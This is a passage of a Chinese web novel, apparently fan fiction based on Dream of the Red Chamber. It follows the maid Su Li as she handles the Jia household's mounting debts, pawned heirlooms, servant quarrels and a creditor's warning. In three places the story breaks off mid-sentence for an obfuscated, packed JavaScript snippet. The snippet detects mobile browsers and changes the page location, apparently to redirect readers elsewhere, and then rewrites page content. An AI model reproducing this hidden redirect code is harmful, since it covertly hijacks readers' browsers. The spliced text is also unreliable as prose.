然而，府中庞大的开销、各处嗷嗷待哺的窟窿，却不会因主子的疲惫而有丝毫减少。年关刚过，各处庄子的管事、铺面的掌柜便陆续上门，回禀上年收支，支取新年用度。账房再次成了最繁忙、也最令人窒息的地方。 这日，苏璃正对着一摞各庄子报上来的歉收减产的呈文发愁，林之孝家的又愁眉苦脸地进来，低声道：“璃姑娘，库上实在支应不开了。后儿要发放各房的月钱，还有几处要紧的采买，账上现银不足千两，这可如何是好？” 这已是本月第三次了。苏璃揉了揉胀痛的额角，心中一片冰凉。她早已将府中财政的窘境看得清清楚楚，但每一次听到“支应不开”这几个字，仍觉压力如山。 “金陵老宅那边，年前催的银子，还没消息吗？”她问，声音带着一丝不易察觉的疲惫。 林之孝家的摇头：“信使前日回来，说那边年景也不好，收上来的租子，勉强够那边府里开销，实在挪腾不出多少来。远水救不了近火啊。” 苏璃沉默片刻。她知道，凤姐的体己已贴补了不少，再典当东西，传出去更不好听。向银号借贷，利息滚利息，已是沉重的负担。如今，似乎真的到了山穷水尽的地步。 “我去回二奶奶。”她起身，拿起那几份庄子上请求减免租子的呈文，以及林之孝家刚报上来的支取单子，往凤姐正房走去。 凤姐歪在暖炕上，脸色蜡黄，眼下乌青浓重，正由平儿轻轻揉着太阳穴。见苏璃进来，她勉强抬了抬眼，声音沙哑：“什么事？” 苏璃将账目支绌的情况委婉回了，又将庄子上请求减免的呈文递上。“奶奶，庄子上年景确实不好，若一味催逼，只怕庄户离心，来年更无收成。是否……酌情减免一些，也好让他们有条活路，来年方能尽心耕种。” 凤姐接过呈文，草草扫了几眼，便烦躁地扔在炕几上，冷笑道：“减免？说得轻巧！府里上下几百口子人，张着嘴等饭吃，哪里不用银子？减了他们的，亏空从哪里补？难道都让我拿体己去填这无底洞吗？”她越说越气，胸口剧烈起伏，一阵咳嗽。 平儿忙递上温水，轻声劝道：“奶奶别动气，仔细身子。璃妹妹也是为府里长远计。” 凤姐喘了口气，疲惫地靠在引枕上，闭目半晌，才无力地摆摆手：“罢了罢了，你看着办吧，能减则减，不能减的，也让他们写下欠条，日后再补。总不好逼出人命来。”她顿了顿，睁开眼，目光复杂地看向苏璃，“至于月钱和采买的银子……我那里还有两箱子没上账的古董玩器，你让平儿找出来，还是老法子，悄悄拿去兑了应急罢。” 又是典当！ 苏璃心中一涩凤姐昔日何等要强精明，如今竟被银钱逼得一次次典当体己，这其中的辛酸与无奈，外人又如何得知？ “是。”她低声应下，心中却无半分轻松。这不过是饮鸩止渴。 “如今这府里，”凤姐忽然幽幽开口，像是自言自语，又像是对苏璃说，“外面看着轰轰烈烈，内里早已是千疮百孔。进项一年少似一年，开销却只见多不见少。省亲、丧事，哪一件不是银子堆出来的？如今倒好，寅吃卯粮，拆东墙补西墙，这日子……真不知何时是个头。”她语气中的灰心与茫然，是苏璃从未听过的。 平儿在一旁悄悄抹泪。苏璃垂首默立，心中亦是波澜起伏。凤姐的依赖，何尝不是一种沉重的负担？她将自己视为心腹，将最棘手的财务难题交给她，是信任，也是将她牢牢绑在这艘沉船上的枷锁。 “奶奶且宽心，”苏璃斟酌着词句，轻声道，“如今艰难是暂时的，待开了春，庄子上有了收成，铺面里生意好些，总能周转开来。眼下最要紧的，是节流。各房用度，还需再紧一紧，一些不必要的排场、应酬，能省则省。再者……外面的几处庄子、铺子，管事的人是否得力？进项为何连年减少？或许……也该派人好好查一查账了。” 凤姐听了，眼中闪过一丝微弱的光，但随即又黯淡下去：“查账？谈何容易！那些庄头铺主，哪个不是积年的老狐狸？背后又不知牵扯着哪房哪院的体面？一动便是是非。节流……哼，你当我不想节？可这府里的体面还要不要？老太太、太太们跟前如何交代？琏二爷在外头的应酬如何缩减？难啊！” 她长叹一声，挥挥手：“这些日后再说罢，先过了眼前这关。你去和平儿料理典当的事，务必做得隐秘些。” “是。”苏璃知道多说无益，便与平儿一同退了出来。 与平儿去库房清点那两箱古董时，平儿低声道：“妹妹，你也瞧见了，奶奶如今是真难。身子又不好，心里又急，偏生府里事多，银钱上又……唉，咱们能帮衬的，就多帮衬些吧。” 苏璃点头：“姐姐放心，我省得。”她看着那些精美却冰冷的玉器、瓷器，心中暗叹，这些死物，又能支撑这庞大的开销几时？ 典当之事由平儿亲自去办，换回的银子勉强应付了月钱和几笔紧急采买。但府中的窘迫，已如捂不住的脓疮，开始散发出腐烂的气息。各房的份例用度暗中削减，大厨房的伙食质量下降，连主子们偶尔想添个菜、要点心，也常听到“库里没有”、“需现买”的推脱之词。下人们怨声载道，主子们也开始感到不便。 赵姨娘逮着机会便在王夫人跟前抱怨菜蔬不新鲜，月钱短了分量。王夫人虽不说什么，但眉头也越皱越紧。贾琏琏在外头应酬，支取银子越发不顺，回来便与凤姐拌嘴。连宝玉屋里的丫头们，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987315|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉出胭脂水粉不如往年精巧，时鲜果子也难得一见了。 这一日，贾蔷来回，说是采买小戏子的一笔尾款，对方催得紧。苏璃核对了单据，并无问题，但账上实在无银可支。只得又去回凤姐。 凤姐正对着一本账册出神，听闻又是要钱，脸色一沉，将账册摔在桌上：“银子银子！日日都是银子！我哪里去变出这些银子来？难道要我剜了身上的肉去换不成？” 苏璃垂首道：“奶奶息怒。这笔银子是早先定下的，戏班子的人等着南下，若是拖欠，只怕坏了府里的名声。” 凤姐烦躁地揉着额角：“名声？如今还顾得上名声？库里还有几匹用不着的旧缎子，你让人拿去估估价，看能当多少，先应应急罢。” 又是典当！苏璃心中叹息，府中竟已到了连几匹缎子都要算计的地步了吗？她应下，正要退下，凤姐却叫住她。 “你等等。”凤姐看着她，目光中带着一种复杂的情绪，有疲惫，有依赖，还有一丝不易察觉的……审视。“苏璃，你跟我这些日子，府里的事，你也看得明白。如今这光景，你说……该如何是好？” 苏璃心中一震。凤姐这是在向她问计？这已超出了寻常丫鬟的范畴。她谨慎答道：“奴婢愚见，开源节流，仍是根本。节流方面，需得奶奶下决心，立下严规，各房一体遵守，即便有些怨言，也需顶住。开源……则更需从长计议。外面的庄子铺面，或许……真该下决心整顿一番了。换上一两个得力可靠的管事，杀一儆百，或可见效。” 凤姐沉默良久，苦笑道：“立规？整顿？谈何容易！牵一发而动全身。罢了，你先去吧。” 苏璃退了出来，知道凤姐虽有心动，但顾虑太多，一时难下决断。如今的凤姐，已失了往日的杀伐果断，更像是一个在惊涛骇浪中勉力支撑的疲惫舵手。 然而，树欲静而风不止。没过两日，忽然从东府传来消息，说是贾珍因在外头放印子钱、包揽词讼等事，被御史参了一本，虽未立刻问罪，但也惊动不小，正在四处打点，焦头烂额。 消息传到西府，王夫人、凤姐等都吓了一跳。贾珍行事荒唐，她们素有耳闻，但闹到被御史参劾的地步，还是头一遭。这无疑是雪上加霜！ 凤姐闻讯，当时就差点晕过去，被平儿扶住。她脸色惨白，喃喃道：“祸事来了……真是祸事来了！” 苏璃得知消息，心中更是沉到了谷底。贾珍被参，这只是个开始！官场上的风波，最是凶险，一旦被盯上，整个贾府都可能被牵连进去！而府中财政早已空虚，如何经得起这般折腾？ 她感到，那一直悬在头顶的利剑，终于开始缓缓落下了。而凤姐这棵她一直倚仗的大树，在内外交困之下，已是摇摇欲坠。 自己，该怎么办？ 是继续跟着这艘破船沉没，还是……尽早谋划脱身？那个玄衣冷峻的身影，再次浮现在她脑海中。水澈……他是否早已预见到了今日？他指引她发现的那些秘密，又在这场即将到来的风暴中，扮演着怎样的角色？ 夜色深沉，苏璃独坐灯下，账册上的数字模糊不清。 45. 积怨暗生 贾珍被御史参劾的消息，如同腊月里的一声惊雷，虽不猛烈，却足以让整个宁荣二府上下，从主子到奴才，都感到一股刺骨的寒意。虽未立刻问罪，但“被御史盯上”这五个字，已足以让这钟鸣鼎食之家颜面扫地，更让那些深知内情的人心惊胆战。 东府那边自是鸡飞狗跳，贾珍称病不出，尤氏急得团团转，贾蓉四处奔走打点。西府这边，王夫人捻着佛珠的手快了几分，凤姐更是愁云惨淡，连着几日食不下咽。府中气氛空前压抑，往日里那些说笑打闹声都消失了，仆役们走路踮着脚尖，说话压低了嗓子，唯恐触了主子的霉头。 然而，表面的沉寂之下，是更深、更汹涌的暗流。危机当前，非但未能同舟共济，反而激化了积压已久的矛盾与怨怼。 首当其冲的，便是凤姐。她掌着家，如今府中银钱支绌，进项寥寥，外面又有贾珍这桩随时可能引爆的祸事，压力如山。她不得不将“节流”二字执行得更加严苛。各房月钱虽未明着克扣，但发放时常有拖延；份例用度一减再减，连老太太屋里的点心都换了寻常花样；大厨房的采买更是锱铢必较，惹得管事的婆子们怨声载道。 这下，便给了早就对凤姐不满的人以口实。赵姨娘逮着机会便在王夫人跟前哭穷：“太太瞧瞧，如今这日子可怎么过？环儿正是长身子的时候，连碗像样的燕窝粥都难得见了！月钱拖了又拖，莫不是都填了那无底洞去了？”话里话外，直指凤姐管家不力，中饱私囊。 邢夫人也时不时在贾母面前“无意”提起：“如今外头风声紧，珍哥儿那边还不知怎样，咱们府里用度也该收敛些。只是苦了老太太，连日常用度都减了，叫我们做儿媳的心里如何过得去？”看似关心，实则将“用度减了”的责任推给凤姐，暗示她苛待长辈。 连底下有些体面的管家媳妇，如周瑞家的、来旺家的，见凤姐势颓，也渐渐阳奉阴违起来。派下去的差事推三阻四，采买报价虚高，对账目含糊其辞。凤姐察觉了，发作了一两个，却更引得人心浮动，背后议论纷纷，说琏二奶奶如今是“急了乱咬人”。 这一日，发放月钱的日子又到了，账上银子却还未凑齐。林之孝家的急得嘴角起泡，来找苏璃商议：“璃姑娘，这月钱再拖下去，底下人怕是要闹将起来！你看这可如何是好？” 苏璃看着账册上那几个可怜的数字，心中叹息。她早已将能挪用的款项算了又算，仍是捉襟见肘。“林妈妈，库上还能挤出多少？” “挤干了也就三四百两，还不够一半！”林之孝家的跺脚道，“二奶奶那边……可还有法子？” 苏璃沉默。凤姐的体己恐怕也贴补得差不多了，难道又要典当？可府里接连典当东西，消息岂能瞒得住？一旦传开，便是天大的笑话。 她正沉吟间，忽见小丫鬟慌慌张张跑进来：“璃姑娘，不好了！大厨房那边，柳嫂子和李婆子为着采买银子的事吵起来了，差点动了手！平儿姐姐让您快去看看！” 苏璃心中一凛，忙起身赶往大厨房。还未进门，就听见里面吵嚷声一片。管采买的柳嫂子叉着腰，唾沫横飞：“……每日里就这点银子，又要新鲜又要便宜，你当我是神仙不成？如今市面上什么不涨价？你们只管张着嘴等吃，银子从哪里来？” 负责灶上的李婆子也不甘示弱，指着柳嫂子的鼻子骂：“放你娘的屁！前儿我亲眼见你侄儿往家拎了半扇猪肉！银子都进了你们这些黑心肝的腰包了吧？克扣我们的嚼用，倒养肥了自家人！” 底下帮厨的、洗菜的婆子媳妇们也七嘴八舌，有的帮腔，有的劝架，乱成一团。见苏璃进来，声音才小了些，但个个脸上都带着愤愤不平之色。 柳嫂子见到苏璃，如同见了救星，忙上前诉苦：“璃姑娘，您来评评理！如今采买艰难，奶奶又卡得紧，巧妇难为无米之炊啊！她们倒好，反咬一口！” 李婆子也抢着道：“姑娘明鉴！咱们灶上可是实打实的辛苦，如今连油盐酱醋都短了分量，这饭还怎么做？” 苏璃沉着脸，目光扫过众人，冷声道：“都闭嘴！吵吵嚷嚷，成何体统！”她声音不高，却自有一股威严，众人顿时噤声。 她先看向柳嫂子：“柳嫂子，采买艰难，大家皆知。但银子短了，更需精打细算，账目清楚。你若觉得银子实在不够，可列了单子来回我，我去禀奶奶，而不是在此吵闹。” 柳嫂子嘟囔道：“回了几次了，总说等等，等等，可这日子能等吗？” 苏璃不理她，又看向李婆子：“李妈妈，灶上的辛苦，奶奶自然也晓得。但如今府中艰难，大家需得同舟共济。若有克扣短少，你可拿证据来回话，空口无凭，污人清白，便是你的不是！” 李婆子张了张嘴，没说出话。 苏璃缓了缓语气，对众人道：“如今外头有事，府里艰难，大家更该体谅主子，齐心合力渡过难关。吵能吵出银子来吗？只会让外人看了笑话！今日之事，到此为止。月钱，奶奶正在设法，绝不会短了大家的。都散了，该做什么做什么去！” 众人见苏璃处置得公道，又抬出“外头有事”、“奶奶设法”，也不敢再闹，悻悻散去。柳嫂子和李婆子也互相瞪了一眼，各自忙活去了。 处理完厨房的纠纷，苏璃心情更加沉重。这只是冰山一角。府中怨气已如干柴，一点火星就能燃成燎原之势。而凤姐，正是这怨气的焦点。 回到账房，平儿也在，脸色凝重：“妹妹，方才的事你也见了。如今府里人心浮动，再这样下去，只怕……” 苏璃点头：“我明白。月钱的事，姐姐看……” 平儿叹口气：“奶奶方才又让我开箱子，找了两件没上账的首饰，让我明日悄悄拿去当了。可这……终究不是长久之计啊。” 正说着，外面小丫鬟报：“奶奶让平姑娘和璃姑娘过去一趟。” 两人忙起身过去。凤姐歪在炕上，眼下乌青更重了，见她们进来，有气无力地问：“厨房怎么回事？” 平儿简单回了。凤姐听完，冷笑一声：“一个个都反了！打量着我不敢动她们是不是？”她话虽狠，语气却透着虚浮。 “奶奶息怒，”平儿劝道，“如今是非常之时，还需以安抚为上。” 凤姐疲惫地闭上眼，半晌，才道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987316|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月钱的银子，我让来旺家的明日再去催催城外交租的庄子，看能收回多少。你们……再紧一紧各房的用度，尤其是……东府那边，近日开销也大，能省则省吧。”她这话，已是将节流的矛头，隐隐指向了宁国府。 苏璃心中一动。东西两府虽同气连枝，但财务向来独立。如今贾珍出事，用度必然更大，西府这边还要替他们节省？只怕尤氏那边第一个不答应。凤姐此举，怕是又要惹来是非。 果然，没过两日，尤氏便借着给贾母请安的机会，话里有话地说：“……如今我们那边艰难，珍大爷又病着，各处打点，银子像水似的淌出去。幸得弟妹这边帮衬着，紧着这边，宽着我们那边，真是感激不尽。”说罢，还拿起帕子拭了拭并不存在的眼泪。 贾母听了，脸色便有些不好看，看了王夫人一眼。王夫人只垂着眼捻佛珠，并不接话。 凤姐在一旁，脸上红一阵白一阵，强笑道：“大嫂说哪里话，一家人不说两家话。如今艰难，自是该互相帮衬。” 话虽如此，但东西两府之间的嫌隙，却因此更深了一层。底下人更是传言，琏二奶奶这是要卡东府的脖子，见死不救。 这些风言风语，自然也传到了贾赦、邢夫人耳中。贾赦本就因鸳鸯之事对凤姐不满，如今更是恼火，在屋里骂骂咧咧：“……一个媳妇家，掌着家，倒管到兄长头上来了！成何体统！”邢夫人更是时不时在贾母面前给凤姐上眼药。 凤姐内外交困，焦头烂额，那争强好胜的心气儿被磨得所剩无几，人眼看着憔悴下去。对苏璃，她也越发依赖，几乎大小账目都要经她的手，时常将她叫到跟前商议，言语间竟有几分将她视为臂膀的意味。 这日对账完毕，凤姐揉着额角，忽然对苏璃道：“如今这府里，也就你和平儿还能替我分忧了。外面庄子铺子的事，我总不放心别人。你心思细，账目清，日后……外面那些账，你也多留心些，有什么不妥，立刻来回我。” 苏璃心中一震。凤姐这是要将外部财政的监管权，也逐步交到她手上？这信任背后，是何等沉重的责任与风险！她连忙垂首道：“奶奶信重，奴婢感激不尽。只是奴婢年轻识浅，只怕……” “不必过谦。”凤姐打断她，目光复杂地看着她，“这府里的事，你也看得明白。如今是能用一人是一人。你……很好。” 从凤姐房中出来，苏璃心情复杂。凤姐的依赖，如同温暖的枷锁，让她在这艘沉船上越陷越深。她得到权力，却也背负了更多的责任和……仇恨。周瑞家的、来旺家的那些人，看她的眼神已不仅仅是嫉妒，更带上了冰冷的敌意。 她知道，积怨已如地火，在看不见的地方奔涌。只等一个合适的契机，便会喷薄而出，将眼前这虚假的平静烧得粉碎。而她，这个被凤姐推至前台的“算账丫头”，很可能成为第一个被吞噬的目标。 夜色中，苏璃独自走回小屋，寒风刺骨，她却觉得心头更冷。她摸了摸怀中那只鸳鸯托付的、轻飘飘的荷包，又想起水澈那深不见底的眼眸。前路茫茫，危机四伏，她这只小船，该如何在这惊涛骇浪中，找到那一线生机？ 46. 风雨欲来 贾珍被参的阴影，如同冬日里挥之不散的阴霾，沉沉压在宁荣两府上空。虽经多方打点，暂时压了下去，未起大波澜，但那股“山雨欲来”的窒息感，却已深深浸入每个人的骨髓。府中往日那种慵懒奢靡的气息淡了许多，取而代之的是一种小心翼翼的紧张和压抑的寂静。 凤姐的病，断断续续，总不见好。脸色蜡黄，时常心口疼，夜里睡不安稳。请医问药，效果甚微。平儿私下对苏璃叹气，说奶奶这是“心病”，府里千头万绪的烦难，银钱上的窘迫，加上各方的怨气，生生将铁打的人熬干了。凤姐自己也似灰了心，往日那股雷厉风行的锐气消磨殆尽，处理家务时常显得力不从心，更多时候是歪在炕上，由平儿和苏璃禀事，她只闭目听着，半晌才懒懒地吩咐一句“依例办罢”或“你们瞧着处置”。 这种“放权”，看似是对平儿和苏璃的信任，实则是无奈之举。然而，这却将苏璃更进一步推到了风口浪尖。如今府内大小账目、各房用度支取、乃至外面一些田庄铺面送来的账册，凤姐都交由苏璃初步核算、拿出章程，她只最后过目画押。苏璃手中掌握的，已是荣国府财政运转的核心机密。这份“倚重”，带来的不仅是权力，更是无数双嫉恨、猜疑的眼睛。 周瑞家的、来旺家的等积年管事媳妇，如今见了苏璃，表面虽还客气，那笑容却未达眼底，言语间常带着不易察觉的刺探。连贾琏琏身边的小厮兴儿、隆儿等人，来支取银钱时，若被苏璃按规矩盘问得细了，也常面露不忿，背后难免有些“仗着奶奶势，拿捏爷们”的闲话。 这日，贾蔷来回，说是采买古董玩器的一笔尾款，对方催得急。苏璃核验单据，见数目不小，且物品名目含糊，便道：“蔷哥儿，这笔银子数目大，采买的又是古董玩器，价值难以估量。按新立的规矩，需得有对方铺子开的明细单子，注明物品、成色、估价，并经手人画押，方可支取。烦请你补了单子来。” 贾蔷如今管着采买戏班、置办器玩等事，手面大，油水足，何时被一个丫鬟这般拦过？当下便拉下脸来：“璃姑娘，你这是信不过我？这单子是珍大爷亲自过目定的，难道还有假不成？如今等银子急用，耽误了事，你担待得起吗？” 苏璃神色平静，语气却不容置疑：“蔷哥儿言重了。不是信不过，是规矩如此。珍大爷定了事，自然无差。但支取银子，需手续齐全，账目清楚，这是二奶奶立的章程，免得日后核对起来麻烦。还请你体谅。” 贾蔷碰了个软钉子，心中恼火，却又不好发作，只得悻悻道：“好，好！我这就去补单子！真是越来越麻烦了！”说罢，拂袖而去。 平儿在一旁听了，低声道：“如今这府里，个个都像炮仗，一点就着。妹妹也需婉转些。” 苏璃苦笑：“姐姐，不是我不婉转。只是这银子出去若不清不楚，日后对不上账，便是天大的麻烦。奶奶如今身子不好，我们再不把紧些，只怕窟窿越来越大。” 平儿叹道：“我何尝不知？只是……唉，如今是里外不是人。” 正说着，忽见林之孝家的急匆匆进来，脸色发白，也顾不得平儿在场，压低声音对苏璃道：“璃姑娘，不好了！方才城西‘恒舒典’的大掌柜悄悄使人来传话，说……说咱们府上年前借的那笔银子，下月就到利钱了，让咱们早做准备。还……还暗示说，如今市面上银根紧，若到期还不上，只怕……只怕下次再借就难了。” 苏璃心中猛地一沉。“恒舒典”那笔借款，数额巨大，利息高昂，是填补省亲亏空和府中日常开销的主要来源之一。若这笔钱断了流，后果不堪设想！ “来人还说了什么？”她急问。 “还说……还说听闻东府珍大爷的事，银号东家有些……有些顾虑。”林之孝家的声音发颤。 苏璃的手心沁出冷汗。果然！贾珍的事，已经开始影响贾府的信用了！银号是最势利的，一旦觉得风险太大，抽贷是必然的。这可是要命的事！ “奶奶知道了吗？”她强自镇定。 “还没敢回。奶奶今日心口又疼得厉害，刚吃了药睡下。”林之孝家的道，“姑娘，这可如何是好？下月利钱就不是小数，如今账上……哪里凑得出来？” 苏璃深吸一口气，脑中飞速旋转。典当？府里能当的值钱物件不多了，且频繁典当，消息泄露，更是雪上加霜。催租？庄子上收成不好，硬催也催不上来多少。难道……真要动用那些“不能动”的银子？可那些钱牵扯更深，动辄便是杀身之祸！ “林妈妈，你先别急。”苏璃稳住心神，“此事关系重大，需得从长计议。你让来人先回去，就说府里知道了，到期前必定设法凑齐。万万不可声张！” “是，是，我明白。”林之孝家的连连点头，忧心忡忡地去了。 平儿在一旁听得脸色发白，抓住苏璃的手：“妹妹，这……这可怎么好？若是银号断了借贷，府里可就……可就转不动了！” 苏璃反手握住她冰凉的手，低声道：“姐姐别慌，天无绝人之路。总会有法子的。此事暂且不要惊动奶奶，等她身子好些再议。” 话虽如此，苏璃自己心中也是一片冰凉。她知道，最大的危机，已经露出了狰狞的一角。银根一断，贾府这架庞大的机器，立刻就会停摆。而这一切，才刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998053|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚开始。 接下来的几日，苏璃度日如年。她一边竭力维持着账面的平静，应付各处的支取，一边暗中计算着府中所有可能的进项和存银，结果令人绝望。缺口巨大，根本无法填补到期的利钱，更别说本金了。 她几次想将实情禀告凤姐，但见凤姐病恹恹的样子，话到嘴边又咽了回去。如今凤姐是主心骨，若她再倒下去，府里立时就要大乱。 无奈之下，她只能将希望寄托在外面的田庄铺面上。她让林之孝加紧催收各地的租子，又亲自查阅近半年各处铺面报上来的账目，希望能找到些盈余。然而，账目上的“亏损”、“持平”比比皆是，偶有盈利的，数额也微不足道。她甚至冒险暗中派人去几家铺面悄悄打听，反馈回来的消息更是令人心寒：管事们中饱私囊、经营不善、或是市场不景气，铺面实际状况比账上显示的还要糟糕。 就在苏璃焦头烂额之际，又一个坏消息接踵而至。这日，王夫人屋里的玉钏儿悄悄来找平儿，说太太这两日心情不好，为着宫里头元春娘娘派人送出来的消息，说是近来宫中用度也减了，各宫娘娘的份例都短了些，让家里日后送东西进去，要更加“俭省”些，免得招眼。 消息传到凤姐耳中，凤姐当时就愣住了，半晌，惨然一笑：“好，好……宫里也艰难了。真是……树倒猢狲散，墙倒众人推。”说罢，又是一阵猛咳。 苏璃在一旁听着，心直往下沉。宫中的信号，意味着最大的靠山也开始不稳了。贾府真正的寒冬，就要来了。 夜色深沉，苏璃独自坐在冰冷的账房里，对着摇曳的烛火，只觉得前所未有的疲惫与孤独。账册上的数字模糊不清，仿佛都在嘲笑她的无力。她仿佛能听到，这座繁华府邸的根基，正在发出不堪重负的、细微的碎裂声。 她下意识地摸了摸袖中那本厚厚的、记录着无数秘密的花样子册子。那里面，有暖香坞小库房里的地契借据，有她暗中搜集的物价商路信息，也有水澈那本《九章算术注》里隐秘的留言。这些，是她唯一的依仗和渺茫的希望。 可是，面对这即将到来的滔天巨浪，这点微末的筹划，又能起什么作用呢？水澈……他此刻在做什么？他是否早已预见到了这一切？他留下的线索，究竟是援手，还是……另一个更深的陷阱？ 窗外，风声呜咽，仿佛冤魂的哭泣。苏璃吹熄了灯，将自己埋入无边的黑暗里。她知道，最后的时刻，快要到了。而她必须在这风雨到来之前，做出抉择。是随波逐流，与这艘破船一同沉没，还是……冒险一搏，抓住那根可能救命、也可能致命的稻草？ 长夜漫漫，前路茫茫。 47. 遇险 恒舒典催债的消息，如同一把悬在头顶的利剑，让苏璃寝食难安。她知道，这仅仅是第一道催命符，若不能及时应对，后续的连锁反应足以将整个贾府拖入深渊。凤姐病体支离，平儿忧心忡忡，贾琏指望不上，王夫人深居简出，整个荣国府的财政重担，无形中竟压在了她这个未及双十年华的丫鬟肩上。 绝境逼人。苏璃不得不将目光投向了她一直谨慎避开的领域——暖香坞小库房里的那些“黑钱”和隐秘资产。那是贾府最后的不为人知的底牌，也是极度危险的禁区。水澈的指引曾让她窥见一斑，如今，她需要更多的信息，来判断这些“黑钱”的规模、流向，以及……是否有可乘之机。 她不敢轻举妄动直接去动那些东西，那无异于自寻死路。但她可以借助兼管园账的身份，以清点核对为名，更频繁地出入大观园，暗中观察、记录，甚至尝试接触可能知情的人。 这日午后，她寻了个由头，再次来到大观园。时值春寒料峭，园中景致萧索，看守的婆子也懒怠，大多躲在屋里取暖。苏璃带着小丫鬟，照例从几处主要楼阁开始清点，一路慢慢向东南角的暖香坞靠近。 她特意走得慢，留心观察着沿途。园子比省亲刚结束时更加冷清了，许多精巧的陈设蒙上了薄灰，池水也显得有些浑浊。行至暖香坞附近，她让小丫鬟去不远处“蘅芜苑”取一件遗漏的账册，自己则独自走向那小库房。 库房依旧门扉虚掩，寂静无声。苏璃心跳微微加速，她并非要进去，而是想看看近日有无异常痕迹。她装作不经意地绕着库房走了一圈，目光扫过门锁、窗户、墙角。锁仍是那把锈蚀的旧锁，虚挂着；窗户紧闭，窗纸有些破损；墙角堆着些枯枝败叶，似乎与上次来时并无二致。 她正暗自观察，忽听身后传来一声轻咳。苏璃心中一凛，迅速转身，只见一个穿着灰布袄子、身形佝偻的老婆子，不知何时出现在不远处的一丛枯竹后面，正眯着眼打量她。那婆子看着眼生，不是平日看守园子的那几个。 “这位姑娘，在这儿转悠什么呢？”婆子声音沙哑，眼神却有些锐利。 苏璃定了定神，从容道：“我是奉二奶奶之命，兼管园中器物账目的苏璃。今日来清点核对，路过此处。妈妈是？” 婆子脸上的警惕似乎放松了些，露出点笑容：“原来是璃姑娘。老身是后角门上夜的张婆子，这几日替老王头的班，顺便帮着看看园子。姑娘是查账啊，辛苦辛苦。”她嘴上说着，脚步却未动，依旧站在那里，目光似有若无地扫过那间小库房。 苏璃心中警铃微作。后角门上夜的婆子，怎会跑到园子深处来“顺便看看”？且这婆子眼神闪烁，不似寻常粗使仆役。她面上不露声色，只道：“原是如此。妈妈也辛苦。我这边清点完了，这就回去。”说着，便转身欲走。 “姑娘留步。”张婆子忽然叫住她，慢悠悠地走过来，压低了声音，“姑娘既管着园账，可知道这暖香坞旁边的小库房里，都堆些什么？” 苏璃心头一紧，面上却疑惑道：“不过是一些旧家具、废弃的幔帐罢了，账上都有记载。妈妈何故问起？” 张婆子嘿嘿笑了两声，眼神有些莫测：“没什么，随便问问。老身也是听人说，这库房年头久了，里头有些老物件，怕是账上也未必记得周全。姑娘年轻，怕是没见过，可要仔细些，莫让人浑水摸了鱼去。” 这话意有所指！苏璃背脊微微发凉，强笑道：“妈妈提醒的是，我自会仔细。”她不想再多停留，点头示意，便快步离开。走出很远，仍能感到那婆子探究的目光黏在背上。 回到账房，苏璃的心仍怦怦直跳。那张婆子绝非寻常仆役！她是谁的人？贾赦邢夫人？还是贾珍尤氏？抑或是府外某股势力的眼线？她提到“老物件”、“账上未必记得周全”，分明是在试探自己是否知晓暖香坞库房的秘密！ 自己的暗中调查，很可能已经引起了某些人的注意！危险，如同无声的潮水，正在悄然逼近。 接下来的几日，苏璃加倍小心。她不再轻易单独前往暖香坞附近，处理账务也更加谨言慎行。然而，树欲静而风不止。 这日傍晚，她核对完一批采买单据，天色已晚。平儿被凤姐叫去伺候汤药，小丫鬟们也各自散去用饭。账房里只剩她一人。她收拾好东西，吹熄了灯，准备回自己住处。 刚走出账房不远，穿过一条僻静的穿堂时，忽觉身后似有极轻微的脚步声。她心中警觉，猛地回头，只见一道黑影迅速闪入旁边的月亮门后。 “谁？”苏璃厉声喝道，手心瞬间沁出冷汗。 无人应答。穿堂里只有风声穿过，吹得灯笼摇晃，光影幢幢。 苏璃不敢停留，加快脚步向前走。她能感到，有一道视线如跗骨之蛆，紧紧跟随着她。是那张婆子？还是别的什么人？ 她专挑有灯火、有人声的大路走，不敢再走僻静处。好不容易回到自己居住的小院附近，刚要松口气，忽见院墙阴影下，似乎蹲着一个人影！ 苏璃头皮发麻，转身就想往亮处跑。那人影却猛地站起，低声道：“璃姑娘，是我！” 声音有些耳熟。苏璃定睛一看，竟是宝玉房里的麝月！只是她此刻鬓发散乱，脸上带着惊惶之色。 “麝月姐姐？你怎么在这里？”苏璃惊疑不定，仍保持着距离。 麝月快步上前，一把抓住苏璃的手，她的手冰凉，还在微微发抖。“璃姑娘，救救我！有人……有人要害我！” 苏璃心中一震：“怎么回事？慢慢说。” 麝月语无伦次，带着哭腔：“我也不知道……方才我从老太太屋里回来，路过那边假山，忽然被人从后面推了一把，差点跌进池塘里！我回头，只看到一个黑影跑了……我、我不敢声张，怕人说不清，只好跑到你这里来……” 